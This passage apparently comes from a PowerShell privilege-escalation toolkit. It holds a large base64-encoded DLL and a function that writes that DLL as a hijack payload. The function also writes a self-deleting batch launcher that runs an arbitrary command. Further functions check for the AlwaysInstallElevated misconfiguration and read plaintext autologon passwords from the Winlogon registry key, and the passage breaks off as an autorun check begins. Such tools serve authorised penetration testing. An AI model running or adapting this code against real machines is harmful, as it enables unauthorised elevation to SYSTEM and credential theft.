AAAAAAAAAAAAAAAAAAAAAAAADcnwAAAAAAAMSfAAAAAAAAsJ8AAAAAAAAAAAAAAAAAAJSfAAAAAAAAjJ8AAAAAAAB4nwAAAAAAAB6gAAAAAAAANKAAAAAAAABCoAAAAAAAAFSgAAAAAAAAaKAAAAAAAACEoAAAAAAAAKKgAAAAAAAAtqAAAAAAAADKoAAAAAAAAOSgAAAAAAAA+KAAAAAAAAAGoQAAAAAAABahAAAAAAAAJKEAAAAAAAAuoQAAAAAAAD6hAAAAAAAATqEAAAAAAABaoQAAAAAAAGahAAAAAAAAeKEAAAAAAACMoQAAAAAAAJqhAAAAAAAAqqEAAAAAAAC8oQAAAAAAAMyhAAAAAAAA9KEAAAAAAAACogAAAAAAABSiAAAAAAAALKIAAAAAAABCogAAAAAAAFyiAAAAAAAAcqIAAAAAAACMogAAAAAAAKKiAAAAAAAAsKIAAAAAAAC+ogAAAAAAAMyiAAAAAAAA5qIAAAAAAAD2ogAAAAAAAAyjAAAAAAAAJqMAAAAAAAAyowAAAAAAAESjAAAAAAAAWKMAAAAAAABwowAAAAAAAIijAAAAAAAAlKMAAAAAAACeowAAAAAAAKqjAAAAAAAAvKMAAAAAAADKowAAAAAAANqjAAAAAAAA5qMAAAAAAAD8owAAAAAAAAikAAAAAAAAGKQAAAAAAAAupAAAAAAAAAAAAAAAAAAAAqAAAAAAAAAAAAAAAAAAAMYBR2V0Q3VycmVudFByb2Nlc3MAwARTbGVlcABSAENsb3NlSGFuZGxlAEtFUk5FTDMyLmRsbAAA9wFPcGVuUHJvY2Vzc1Rva2VuAACWAUxvb2t1cFByaXZpbGVnZVZhbHVlQQAfAEFkanVzdFRva2VuUHJpdmlsZWdlcwBBRFZBUEkzMi5kbGwAAB4BU2hlbGxFeGVjdXRlQQBTSEVMTDMyLmRsbADLAUdldEN1cnJlbnRUaHJlYWRJZAAAWwFGbHNTZXRWYWx1ZQCMAUdldENvbW1hbmRMaW5lQQDOBFRlcm1pbmF0ZVByb2Nlc3MAAOIEVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAACzBFNldFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgACA0lzRGVidWdnZXJQcmVzZW50ACYEUnRsVmlydHVhbFVud2luZAAAHwRSdGxMb29rdXBGdW5jdGlvbkVudHJ5AAAYBFJ0bENhcHR1cmVDb250ZXh0ACUEUnRsVW53aW5kRXgA7gBFbmNvZGVQb2ludGVyAFoBRmxzR2V0VmFsdWUAWQFGbHNGcmVlAIAEU2V0TGFzdEVycm9yAAAIAkdldExhc3RFcnJvcgAAWAFGbHNBbGxvYwAA1wJIZWFwRnJlZQAATAJHZXRQcm9jQWRkcmVzcwAAHgJHZXRNb2R1bGVIYW5kbGVXAAAfAUV4aXRQcm9jZXNzAMsARGVjb2RlUG9pbnRlcgB8BFNldEhhbmRsZUNvdW50AABrAkdldFN0ZEhhbmRsZQAA6wJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50APoBR2V0RmlsZVR5cGUAagJHZXRTdGFydHVwSW5mb1cA0gBEZWxldGVDcml0aWNhbFNlY3Rpb24AGQJHZXRNb2R1bGVGaWxlTmFtZUEAAGcBRnJlZUVudmlyb25tZW50U3RyaW5nc1cAIAVXaWRlQ2hhclRvTXVsdGlCeXRlAOEBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAA2wJIZWFwU2V0SW5mb3JtYXRpb24AAKoCR2V0VmVyc2lvbgAA1QJIZWFwQ3JlYXRlAADWAkhlYXBEZXN0cm95AKkDUXVlcnlQZXJmb3JtYW5jZUNvdW50ZXIAmgJHZXRUaWNrQ291bnQAAMcBR2V0Q3VycmVudFByb2Nlc3NJZACAAkdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lANMCSGVhcEFsbG9jALQDUmFpc2VFeGNlcHRpb24AACEEUnRsUGNUb0ZpbGVIZWFkZXIAOwNMZWF2ZUNyaXRpY2FsU2VjdGlvbgAA8gBFbnRlckNyaXRpY2FsU2VjdGlvbgAAeAFHZXRDUEluZm8AbgFHZXRBQ1AAAD4CR2V0T0VNQ1AAAAwDSXNWYWxpZENvZGVQYWdlANoCSGVhcFJlQWxsb2MAQQNMb2FkTGlicmFyeVcAADQFV3JpdGVGaWxlABoCR2V0TW9kdWxlRmlsZU5hbWVXAADcAkhlYXBTaXplAAAvA0xDTWFwU3RyaW5nVwAAaQNNdWx0aUJ5dGVUb1dpZGVDaGFyAHACR2V0U3RyaW5nVHlwZVcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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" + + if($Arch) { + if($Arch -eq "x64") { + [Byte[]]$DllBytes = [Byte[]][Convert]::FromBase64String($DllBytes64) + } + elseif($Arch -eq "x86") { + [Byte[]]$DllBytes = [Byte[]][Convert]::FromBase64String($DllBytes32) + } + else{ + Throw "Please specify x86 or x64 for the -Arch" + } + } + else { + # if no architecture if specified, try to auto-determine the arch + if ($Env:PROCESSOR_ARCHITECTURE -eq "AMD64") { + [Byte[]]$DllBytes = [Byte[]][Convert]::FromBase64String($DllBytes64) + $Arch = "x64" + } + else { + [Byte[]]$DllBytes = [Byte[]][Convert]::FromBase64String($DllBytes32) + $Arch = "x86" + } + } + + if(!$BatPath) { + $parts = $OutputFile.split("\") + $BatPath = ($parts[0..$($parts.length-2)] -join "\") + "\debug.bat" + } + else { + # patch in the appropriate .bat launcher path + $DllBytes = Invoke-PatchDll -DllBytes $DllBytes -FindString "debug.bat" -ReplaceString $BatPath + } + + # build the launcher .bat + if (Test-Path $BatPath) { Remove-Item -Force $BatPath } + "@echo off\n" | Out-File -Encoding ASCII -Append $BatPath + "start /b $Command" | Out-File -Encoding ASCII -Append $BatPath + 'start /b "" cmd /c del "%~f0"&exit /b' | Out-File -Encoding ASCII -Append $BatPath + + ".bat launcher written to: $BatPath" + + Set-Content -Value $DllBytes -Encoding Byte -Path $OutputFile + "$Arch DLL Hijacker written to: $OutputFile" + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'OutputFile' $OutputFile + $Out | Add-Member Noteproperty 'Architecture' $Arch + $Out | Add-Member Noteproperty 'BATLauncherPath' $BatPath + $Out | Add-Member Noteproperty 'Command' $Command + $Out +} + + +######################################################## +# +# Registry Checks +# +######################################################## + +function Get-RegAlwaysInstallElevated { +<# + .SYNOPSIS + + Checks if the AlwaysInstallElevated registry key is set. + This meains that MSI files are always run with SYSTEM + level privileges. + + .EXAMPLE + + PS C:\> Get-RegAlwaysInstallElevated + + Checks if the AlwaysInstallElevated registry key is set. +#> + + [CmdletBinding()] + Param() + + $OrigError = $ErrorActionPreference + $ErrorActionPreference = "SilentlyContinue" + + if (Test-Path "HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer") { + + $HKLMval = (Get-ItemProperty -Path "HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue) + Write-Verbose "HKLMval: $($HKLMval.AlwaysInstallElevated)" + + if ($HKLMval.AlwaysInstallElevated -and ($HKLMval.AlwaysInstallElevated -ne 0)){ + + $HKCUval = (Get-ItemProperty -Path "hkcu:SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue) + Write-Verbose "HKCUval: $($HKCUval.AlwaysInstallElevated)" + + if ($HKCUval.AlwaysInstallElevated -and ($HKCUval.AlwaysInstallElevated -ne 0)){ + Write-Verbose "AlwaysInstallElevated enabled on this machine!" + $True + } + else{ + Write-Verbose "AlwaysInstallElevated not enabled on this machine." + $False + } + } + else{ + Write-Verbose "AlwaysInstallElevated not enabled on this machine." + $False + } + } + else{ + Write-Verbose "HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer does not exist" + $False + } + + $ErrorActionPreference = $OrigError +} + + +function Get-RegAutoLogon { +<# + .SYNOPSIS + + Checks for DefaultUserName/DefaultPassword in the Winlogin registry section + if the AutoAdminLogon key is set. + + .EXAMPLE + + PS C:\> Get-RegAutoLogon + Finds any autologon credentials left in the registry. + + .LINK + + https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/windows_autologin.rb +#> + + [CmdletBinding()] + Param() + + $AutoAdminLogon = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AutoAdminLogon -ErrorAction SilentlyContinue) + + Write-Verbose "AutoAdminLogon key: $($AutoAdminLogon.AutoAdminLogon)" + + if ($AutoAdminLogon.AutoAdminLogon -ne 0){ + + $DefaultDomainName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultDomainName -ErrorAction SilentlyContinue).DefaultDomainName + $DefaultUserName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultUserName -ErrorAction SilentlyContinue).DefaultUserName + $DefaultPassword = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultPassword -ErrorAction SilentlyContinue).DefaultPassword + $AltDefaultDomainName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AltDefaultDomainName -ErrorAction SilentlyContinue).AltDefaultDomainName + $AltDefaultUserName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AltDefaultUserName -ErrorAction SilentlyContinue).AltDefaultUserName + $AltDefaultPassword = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AltDefaultPassword -ErrorAction SilentlyContinue).AltDefaultPassword + + if ($DefaultUserName -or $AltDefaultUserName) { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'DefaultDomainName' $DefaultDomainName + $Out | Add-Member Noteproperty 'DefaultUserName' $DefaultUserName + $Out | Add-Member Noteproperty 'DefaultPassword' $DefaultPassword + $Out | Add-Member Noteproperty 'AltDefaultDomainName' $AltDefaultDomainName + $Out | Add-Member Noteproperty 'AltDefaultUserName' $AltDefaultUserName + $Out | Add-Member Noteproperty 'AltDefaultPassword' $AltDefaultPassword + $Out + } + } +} + + +function Get-VulnAutoRun { +<# + .SYNOPSIS + + Returns HKLM autoruns where the current user can modify + the binary/script (or its config) specified. + + .EXAMPLE + + PS C:\> Get-VulnAutoRun + + Return vulneable autorun binaries (or associated configs). +#> + + [CmdletBinding()]Param() + $SearchLocations = @( 